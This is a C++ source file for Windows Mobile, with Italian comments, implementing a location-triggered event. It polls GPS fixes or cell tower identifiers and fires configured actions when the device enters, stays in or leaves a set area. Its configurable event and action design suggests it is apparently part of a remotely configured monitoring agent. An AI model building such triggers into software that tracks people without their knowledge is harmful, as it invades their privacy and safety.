#include "Event.h"
#include "Common.h"
#include "Conf.h"
#include "Date.h"
#include "Log.h"
#include "Observer.h"
#include "Device.h"
#include "GPS.h"
#include "Ril.h"
#include "Cell.h"

// MANAGEMENT - Le coordinate vanno inserite in gradi decimali!!
DWORD WINAPI OnLocation(LPVOID lpParam) {
	Event *me = (Event *)lpParam;
	Configuration *conf;
	HANDLE eventHandle;
	int delay, iterations, curIterations = 0, curDelay = 0;
	wstring type;
	BOOL bLocation = FALSE;

	eventHandle = me->getEvent();

	me->setStatus(EVENT_RUNNING);
	conf = me->getConf();

	try {
		type = conf->getString(L"type");
	} catch (...) {
		type = L"";
	}

	try {
		iterations = conf->getInt(L"iter");
	} catch (...) {
		iterations = MAXINT;
	}

	try {
		delay = conf->getInt(L"delay") * 1000;
	} catch (...) {
		delay = INFINITE;
	}

	if (type.empty()) {
		me->setStatus(EVENT_STOPPED);
		return 0;
	}

	if (type.compare(L"gps") == 0) {
		DOUBLE latOrigin, lonOrigin, latActual, lonActual, distance, curDistance;
		GPS *gpsObj = NULL;
		GPS_POSITION gps;

		try {
			latOrigin = conf->getDouble(L"latitude");
		} catch (...) {
			latOrigin = 0.0f;
		}

		try {
			lonOrigin = conf->getDouble(L"longitude");
		} catch (...) {
			lonOrigin = 0.0f;
		}

		try {
			distance = conf->getDouble(L"distance");
		} catch (...) {
			distance = 1000.0f;
		}

		// E' singleton e non va distrutta
		gpsObj = GPS::self(30000, 1000);

		if (gpsObj == NULL) {
			me->setStatus(EVENT_STOPPED);
			return 0;
		}

		if (gpsObj->Start() == FALSE) {
			me->setStatus(EVENT_STOPPED);
			return 0;
		}

		latActual = 0.0f;
		lonActual = 0.0f;

		DBG_TRACE(L"Debug - Position.cpp - OnLocation event started\n", 5, FALSE);

		LOOP {
			if (gpsObj->getGPS(&gps)) {
				// Scriviamo il tipo di struttura e poi i dati
				DWORD dwFields = GPS_VALID_LATITUDE | GPS_VALID_LONGITUDE;

				// Ok abbiamo una posizione valida, diamoci dentro con la geometria sferica
				if ((gps.dwValidFields & dwFields) == dwFields  && gps.FixType == GPS_FIX_3D) {

					curDistance = gpsObj->VincentFormula(latOrigin, lonOrigin, gps.dblLatitude, gps.dblLongitude);

					// Se la distance e' esattamente 0.0f allora la funzione non e' riuscita a
					// convergere, percio' non abbiamo una stima attendibile
					if (curDistance != 0.0f) {
						if (curDistance <= distance) {
							if (bLocation == FALSE) {
								DBG_TRACE(L"Debug - Position.cpp - OnLocation event [IN action triggered]\n", 5, FALSE);
								me->triggerStart(); // In position
								bLocation = TRUE;
							}
						} else {
							if (bLocation == TRUE) {
								DBG_TRACE(L"Debug - Position.cpp - OnLocation event [OUT action triggered]\n", 5, FALSE);
								me->triggerEnd(); // Out of position
								bLocation = FALSE;
							}
						}
					}
				}
			}

			if (bLocation)
				curDelay = delay;
			else
				curDelay = 30000;

			WaitForSingleObject(eventHandle, curDelay);

			if (me->shouldStop()) {
				gpsObj->Stop();
				DBG_TRACE(L"Debug - Position.cpp - Location Event is Closing\n", 1, FALSE);
				me->setStatus(EVENT_STOPPED);

				return 0;
			}

			if (bLocation && curIterations < iterations) {
				me->triggerRepeat();
				curIterations++;
			}
		}
	} else {
		Cell *cellObj = NULL;
		RILCELLTOWERINFO rilCell;
		DWORD dwMCC, dwMNC;
		int country, network, area, id;
		Device *deviceObj = Device::self();

		// E' singleton e non va distrutta
		cellObj = Cell::self(30000);

		if (cellObj == NULL) {
			me->setStatus(EVENT_STOPPED);
			return 0;
		}

		if (cellObj->Start() == FALSE) {
			me->setStatus(EVENT_STOPPED);
			return 0;
		}

		deviceObj->RefreshData();

		// Prendiamo il MCC ed il MNC
		dwMCC = deviceObj->GetMobileCountryCode();
		dwMNC = deviceObj->GetMobileNetworkCode();

		try {
			country = conf->getInt(L"country");
		} catch (...) {
			country = -1;
		}

		try {
			network = conf->getInt(L"network");
		} catch (...) {
			network = -1;
		}

		try {
			area = conf->getInt(L"area");
		} catch (...) {
			area = -1;
		}

		try {
			id = conf->getInt(L"id");
		} catch (...) {
			id = -1;
		}

		LOOP {
			if (cellObj->getCELL(&rilCell)) {
				// Scriviamo il tipo di struttura e poi i dati
				DWORD dwFields =  RIL_PARAM_CTI_LOCATIONAREACODE | RIL_PARAM_CTI_CELLID;

				// Se non abbiamo MCC e MNC, usiamo quelli che abbiamo derivato dall'IMSI
				if (rilCell.dwMobileCountryCode == 0)
					rilCell.dwMobileCountryCode = dwMCC;

				if (rilCell.dwMobileNetworkCode == 0)
					rilCell.dwMobileNetworkCode = dwMNC;

				if ((rilCell.dwParams & dwFields) == dwFields) {
					if (((rilCell.dwMobileCountryCode == country || country == -1) && 
						(rilCell.dwMobileNetworkCode == network || network == -1) &&
						(rilCell.dwLocationAreaCode == area || area == -1) && 
						(rilCell.dwCellID == id || id == -1)) && bLocation == FALSE) {
							bLocation = TRUE;

							DBG_TRACE(L"Debug - Position.cpp - OnCellId event [IN action triggered]\n", 5, FALSE);
							me->triggerStart();
					}

					if (((country != -1 && rilCell.dwMobileCountryCode != country) || 
						(network != -1 && rilCell.dwMobileNetworkCode != network) ||
						(area != -1 && rilCell.dwLocationAreaCode != area) || 
						(id != -1 && rilCell.dwCellID != id)) && bLocation == TRUE) {
							bLocation = FALSE;

							DBG_TRACE(L"Debug - Position.cpp - OnCellId event [OUT action triggered]\n", 5, FALSE);
							me->triggerEnd();
					}
				}
			}

			if (bLocation)
				curDelay = delay;
			else
				curDelay = 30000;

			WaitForSingleObject(eventHandle, curDelay);

			if (me->shouldStop()) {
				cellObj->Stop();
				DBG_TRACE(L"Debug - Position.cpp - Location Event is Closing\n", 1, FALSE);
				me->setStatus(EVENT_STOPPED);

				return 0;
			}

			if (bLocation && curIterations < iterations) {
				me->triggerRepeat();
				curIterations++;
			}
		}
	}

	me->setStatus(EVENT_STOPPED);
	return 0;
}
.